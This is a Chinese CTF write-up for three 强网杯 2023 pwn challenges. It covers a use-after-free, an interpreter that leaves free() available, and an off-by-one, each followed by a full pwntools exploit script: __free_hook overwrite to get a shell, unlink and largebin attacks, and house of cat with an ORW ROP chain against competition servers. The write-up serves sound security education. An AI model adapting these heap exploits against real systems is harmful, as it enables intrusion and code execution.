0%

强网杯CTF2023

chatting

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
1
2
3
4
5
6
chatting: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=182890e62a6cb54b4f2f7c6b809f6c43cbb4929a, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

下面这段代码有逻辑错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
while ( 1 )
{
v7 = (_QWORD *)sub_406A((__int64)&messageg, name);
if ( sub_4838(v7) <= 0x64 )
break;
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "HERE?");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
v5 = sub_406A((__int64)&messageg, name);
v6 = sub_406A((__int64)&messageg, name);
v11 = std::numpunct<wchar_t>::do_truename(v6);
sub_48C2(&v12, (__int64)&v11);
sub_48EC(v5, v12);
}
  • 如果检测到 message 的个数超过 0x64 就会将新创建的 message 释放
  • 但这个被释放的 message 还是会被添加如对应的 vector 中

这就造成了 UAF

入侵思路

先利用堆上遗留的地址泄露 heap_base 和 libc_base

根据程序漏洞,理论上我们拥有 double free 的权利,但 c++ 拥有格外的 tcache 检查,几乎不可能 double free

因此我们需要利用 switch 功能占用 UAF 堆块,二次释放后再用 switch 来修改 tcache

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
for i in range(0x64):
sleep(0.01)
print(str(i))
message("c"*0x10,0x100,"d"*0x100)
message("c"*0x10,0x50,"k"*0x50)

switch("4"*0x50) # 占用UAF chunk
dele("5"*0x50)
dele("c"*0x10)

switch(p64(free_hook)) # 修改UAF chunk

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './chatting1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.27.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('101.200.122.251','14509')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x04797)\nb *$rebase(0x2B83)\nb *$rebase(0x495E)\n")
#pause()

def cmd(op):
sla(":",op)

def add(name):
cmd("add")
sla("username:",name)

def dele(name):
cmd("delete")
sla("delete:",name)

def show():
cmd("listuser")

def switch(to):
cmd("switch")
sla("to:",to)

def message(to,size,data):
cmd("message")
sla("To:",to)
sla("size:",str(size))
sa("Content",data)

def read():
cmd("read")

#debug()

sla("username:","a"*0x10)
add("1"*0x10)
add("3"*0x400)
add("2")
add("4"*0x10)

message("a"*0x10,0x1,"b")

read()
ru(": ")
ru(": ")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - 0x3ebc62
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]

dele("4"*0x10)
message("a"*0x10,0x1,"c")
read()
ru(": ")
ru(": ")
ru(": ")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
heap_base = leak_addr - 0x1ec63
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

add("c"*0x10)
add("4"*0x50)
add("5"*0x50)
add("6"*0x50)
add(p64(free_hook))

sleep(0.2)
for i in range(0x64):
sleep(0.01)
print(str(i))
message("c"*0x10,0x100,"d"*0x100)
message("c"*0x10,0x50,"k"*0x50)

switch("4"*0x50)
dele("5"*0x50)
dele("c"*0x10)
#dele("6"*0x50)

switch(p64(free_hook))
success("free_hook >> "+hex(free_hook))

message("3"*0x400,0x50,p64(system))
message("3"*0x400,0x50,p64(system))
message("3"*0x400,0x50,p64(system))

switch("/bin/sh\x00"*0x20)

p.interactive()

simpleinterpreter

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27
1
2
3
4
5
6
simpleinterpreter: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=aab6c7bbf53da3a2a56abc81abda22d25640fc3a, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

入侵思路

一个 C 语言的解释器,参考源码如下:

禁用了 system 但没有禁用 free,因此直接修改 free_hook 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './simpleinterpreter1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.27.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('101.200.122.251','13410')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x034A0)\n")
pause()

def cmd(op):
sla(">",str(op))

def code(payload):
sla( b'Code size: ',str(len(payload)+1))
sa("interpret:",payload)
sn(b'\xff')

payload = '''
void main()
{
int libc_base, system, free_hook;
libc_base = (int)malloc(0x21000) - 0x498010 - 0x19000;
printf("libc_base -> %p", libc_base);
system = libc_base + 0x4f420;
free_hook = libc_base + 0x3ed8e8;
*(int*)free_hook = system;
free("/bin/sh");
}
'''

#debug()
code(payload)

p.interactive()

warmup

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.5) stable release version 2.35.
1
2
3
4
5
6
warmup: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5eb1d744b7c4d95ceafe7ff2e89f659cab2f9bc, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
9
10
11
12
13
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0012
0004: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0012
0005: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0012
0006: 0x15 0x05 0x00 0x0000003c if (A == exit) goto 0012
0007: 0x15 0x04 0x00 0x000000e7 if (A == exit_group) goto 0012
0008: 0x15 0x03 0x00 0x00000009 if (A == mmap) goto 0012
0009: 0x15 0x02 0x00 0x0000000a if (A == mprotect) goto 0012
0010: 0x15 0x01 0x00 0x0000000c if (A == brk) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW

漏洞分析

有 off-by-one 漏洞:

1
chunk_list[i][(int)read(0, chunk_list[i], size)] = 0;

入侵思路

核心考点为无泄露 unlink attack,可以考虑如下的堆风水:

  • 获取两个 unsorted chunk 进行合并,其中的第二个 chunk 末地址必须为 \x00(遗留下 FD BK 指针)
  • 重新申请大 unsorted chunk 后释放(不破坏原来的 heap 结构),然后再次进行分割,使第二个 chunk 的末尾地址为 \x30 或者 \x40 \x50 等等(有一定偏移的地址都可以)
  • 之后利用 unsortedbin 进行调整,在 FD->bk 和 BK->fd 中写入 \x30,然后覆盖为 \x00

由于该程序至少覆盖两字节,因此打 unlink 时只有 1/16 的概率可以打通(如果有更好的堆风水可以避免这一点)

最后劫持 stderr 打 house of cat 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './warmup1'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"
"""
local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')
"""
def debug():
gdb.attach(p,"")
#gdb.attach(p,"b *$rebase()\n")
#pause()

def cmd(op):
sla(">>",str(op))

def add(size,data="\n"):
cmd(1)
sla("Size",str(size))
sa("Note",data)

def show(index):
cmd(2)
sla("Index",str(index+1))

def dele(index):
cmd(3)
sla("Index",str(index+1))


#debug()
def pwn():
add(0x52f0) #null
add(0x418) #0
add(0x1f0) #1
add(0x428) #2
add(0x438) #3
add(0x208) #4
add(0x428) #5
add(0x208) #6

dele(0)
dele(3)
dele(5)
dele(2)

sleep(0.1)
add(0x440,0x428*'a'+p32(0xc91)) #0
add(0x418) #3 0x2b0

add(0x418,"\x00") #2 0xd20 - over \x00 to bk/fd
add(0x428) #5 0x370

dele(3) # 0x2b0 - bk=0xd20
dele(2) # 0xd20

add(0x418,'a'*8) #2 修复fd->bk(低位覆盖\x00)
add(0x418) #3

dele(3) # 0xd20
dele(5) # 0x350 - fd=0xd20

add(0x9f8) #3 make 0x350 to large
add(0x428,'\x00') #5 修复bk->fd(低位覆盖\x00)

dele(6)
sleep(0.1)
add(0x208,0x200*'a'+p64(0xc90))

add(0x418) #7
add(0x208) #8

sleep(0.1)
dele(3) # unlink

add(0x430,flat(0,0,0,p64(0x421))) #3
add(0x1600) #9

show(4)
ru("Note: ")
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=leak_addr-0x21a310
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

show(5)
ru("Note: ")
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
heap=leak_addr-0x55b0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap))

setcontext=libc_base+libc.sym['setcontext']+61
open_libc=libc_base+libc.sym['open']
read_libc=libc_base+libc.sym['read']
write_libc=libc_base+libc.sym['write']
success("setcontext >> "+hex(setcontext))

IO_list_all = libc_base+0x21a680
stderr=libc_base+libc.sym['stderr']
stderr = libc_base+libc.sym['stderr']
IO_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']
_IO_stdfile_2_lock = libc_base+0x21ba60
success("IO_list_all >> "+hex(IO_list_all))
success("stderr >> "+hex(stderr))
success("IO_wfile_jumps >> "+hex(IO_wfile_jumps))

pop_rax_ret=0x0000000000045eb0+libc_base
pop_rdi_ret=0x000000000002a3e5+libc_base
pop_rsi_ret=0x000000000002be51+libc_base
pop_rdx_ret=0x00000000000796a2+libc_base
ret=0x0000000000029cd6+libc_base
syscall_ret = 0x0000000000114059+libc_base
success("pop_rdi_ret >> "+hex(pop_rdi_ret))
success("pop_rsi_ret >> "+hex(pop_rsi_ret))
success("pop_rdx_ret >> "+hex(pop_rdx_ret))
success("ret >> "+hex(ret))

next_chain = 0
fake_io_addr = heap + 0x6650 - 0x10
payload_addr = heap
success("fake_io_addr >> "+hex(fake_io_addr))

ORW_addr = heap + 0x5be0
flag_addr = heap + 0x5be0 + 0x200

fake_IO_FILE = "/bin/sh\x00" #_flags=rdi
fake_IO_FILE += p64(0)*5
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(ORW_addr-0xa0) #_IO_backup_base=rdx
fake_IO_FILE += p64(setcontext) #_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(_IO_stdfile_2_lock) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE += p64(fake_io_addr+0x30+0x10)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(0) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_wfile_jumps+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x30+0x20) # rax2_addr

chain = p64(ORW_addr)
# open(heap_addr,0)
chain += p64(pop_rax_ret) + p64(2)
chain += p64(pop_rdi_ret) + p64(flag_addr)
chain += p64(pop_rsi_ret) + p64(0)
chain += p64(pop_rdx_ret) + p64(0)
chain += p64(syscall_ret)
# read(3,heap_addr,0x60)
chain += p64(pop_rax_ret) + p64(0)
chain += p64(pop_rdi_ret) + p64(3)
chain += p64(pop_rsi_ret) + p64(flag_addr)
chain += p64(pop_rdx_ret) + p64(0x60)
chain += p64(syscall_ret)
# write(1,heap_addr,0x60)
chain += p64(pop_rax_ret) + p64(1)
chain += p64(pop_rdi_ret) + p64(1)
chain += p64(pop_rsi_ret) + p64(flag_addr)
chain += p64(pop_rdx_ret) + p64(0x60)
chain += p64(syscall_ret)

chain = chain.ljust(0x200,'\x00')
chain += './flag\x00'

sleep(0.2)
add(0x800,0x208*'p'+p64(0x431)) #11
add(0xa30,0x38*"k"+p64(0xa01)) # padding-不要破坏原来的chunk结构
#add(0x1240,0x208*'k'+p64(0x431)+0x428*'a'+p64(0x211)+0x208*'a'+p64(0xa01)+"\n"*6) # padding-不要破坏原来的chunk结构
sleep(0.2)

dele(0)
sleep(0.2)
success("chain len >> "+hex(len(chain)))
add(0x440,chain+"\n"*5) # 0-chain
sleep(0.2)

add(0x418) #12
add(0x208) #13
dele(5)
dele(4)
dele(11)

sleep(0.2)
add(0x1240,0x208*'a'+p64(0x431)+p64(libc_base+0x21a0d0)*2+p64(heap+0x1350+0x52f0+0x10)+p64(stderr-0x20)+"\n"*6) #4
sleep(0.2)

dele(12)
add(0x500) # largebin attack
add(0x410)
dele(4)

sleep(0.2)
add(0x1240,0x208*'a'+p64(0x431)+p64(libc_base+0x21a0d0)*2+p64(heap+0x1350+0x52f0+0x10)*2+"\n"*6) #4
sleep(0.2)
payload = fake_IO_FILE+p64(flag_addr)

sleep(0.2)
success("payload len >> "+hex(len(payload)))
add(0x420,payload+"\n") #13
sleep(0.2)

add(0x9008)
add(0x9008)
add(0x5300)
add(0x108,"a"*0x108)
dele(1)
pause()
add(0x600)

while True:
sleep(1)
local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('120.24.69.11','12700')

try:
pwn()
ru("{")
p.interactive()
except:
p.close()